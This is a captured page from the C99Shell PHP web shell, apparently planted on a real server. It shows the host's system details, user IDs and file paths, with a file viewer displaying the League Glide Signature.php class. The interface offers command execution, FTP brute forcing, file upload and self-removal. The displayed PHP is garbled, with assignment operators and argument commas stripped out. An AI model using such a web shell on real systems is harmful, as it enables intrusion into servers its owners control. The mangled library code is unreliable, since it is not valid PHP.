!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/league/glide/src/Signatures/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Signature.php (1.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace League\Glide\Signatures;

class 
Signature implements SignatureInterface
{
    
/**
     * Secret key used to generate signature.
     *
     * @var string
     */
    
protected $signKey;

    
/**
     * Create Signature instance.
     *
     * @param string $signKey Secret key used to generate signature.
     */
    
public function __construct($signKey)
    {
        
$this->signKey $signKey;
    }

    
/**
     * Add an HTTP signature to manipulation parameters.
     *
     * @param string $path   The resource path.
     * @param array  $params The manipulation parameters.
     *
     * @return array The updated manipulation parameters.
     */
    
public function addSignature($path, array $params)
    {
        return 
array_merge($params, ['s' => $this->generateSignature($path$params)]);
    }

    
/**
     * Validate a request signature.
     *
     * @param string $path   The resource path.
     * @param array  $params The manipulation params.
     *
     * @throws SignatureException
     *
     * @return void
     */
    
public function validateRequest($path, array $params)
    {
        if (!isset(
$params['s'])) {
            throw new 
SignatureException('Signature is missing.');
        }

        if (
$params['s'] !== $this->generateSignature($path$params)) {
            throw new 
SignatureException('Signature is not valid.');
        }
    }

    
/**
     * Generate an HTTP signature.
     *
     * @param string $path   The resource path.
     * @param array  $params The manipulation parameters.
     *
     * @return string The generated HTTP signature.
     */
    
public function generateSignature($path, array $params)
    {
        unset(
$params['s']);
        
ksort($params);

        return 
md5($this->signKey.':'.ltrim($path'/').'?'.http_build_query($params));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--